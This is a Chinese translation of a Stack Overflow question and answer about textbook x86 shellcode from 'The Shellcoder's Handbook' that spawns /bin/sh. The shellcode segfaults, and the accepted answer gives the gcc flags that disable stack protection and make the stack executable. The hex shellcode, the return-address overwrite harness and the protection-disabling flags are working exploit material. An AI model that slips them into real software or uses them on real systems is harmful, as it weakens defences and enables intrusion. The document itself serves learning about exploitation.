我先给你看看我的代码。
char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
这是一个shell派生的shell code,代码来自一本书——《shellcoder's handbook》,我只是复制书中的代码,然后用gcc(gcc shellcode.c-o shellcode)编译。我的gcc版本是4.7.2,我的机器是X86,但是我在debian上运行它,我只是遇到了分段错误。
readelf-l的输出是:
Elf file type is EXEC (Executable file)
Entry point 0x80482f0
There are 8 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x00100 0x00100 R E 0x4
INTERP 0x000134 0x08048134 0x08048134 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x0050c 0x0050c R E 0x1000
LOAD 0x00050c 0x0804950c 0x0804950c 0x00134 0x00138 RW 0x1000
DYNAMIC 0x000518 0x08049518 0x08049518 0x000f0 0x000f0 RW 0x4
NOTE 0x000148 0x08048148 0x08048148 0x00044 0x00044 R 0x4
GNU_EH_FRAME 0x000490 0x08048490 0x08048490 0x0001c 0x0001c R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.ABI-tag .note.gnu.build-id .hash .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss
04 .dynamic
05 .note.ABI-tag .note.gnu.build-id
06 .eh_frame_hdr
07
好吧,够了吗?
最佳答案
您试图执行位于堆栈上的代码,但堆栈不可执行。
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
您肯定想使用-z execstack开关进行链接。当然,在编译时手动禁用堆栈保护:-fno stack protector
最后一个gcc命令行应该是:
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
注意:您可能想阅读gcc手册页,这些标志都有很好的文档记录。
关于linux - 一个shellcode来获取shell,但是段默认发生了,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/16697610/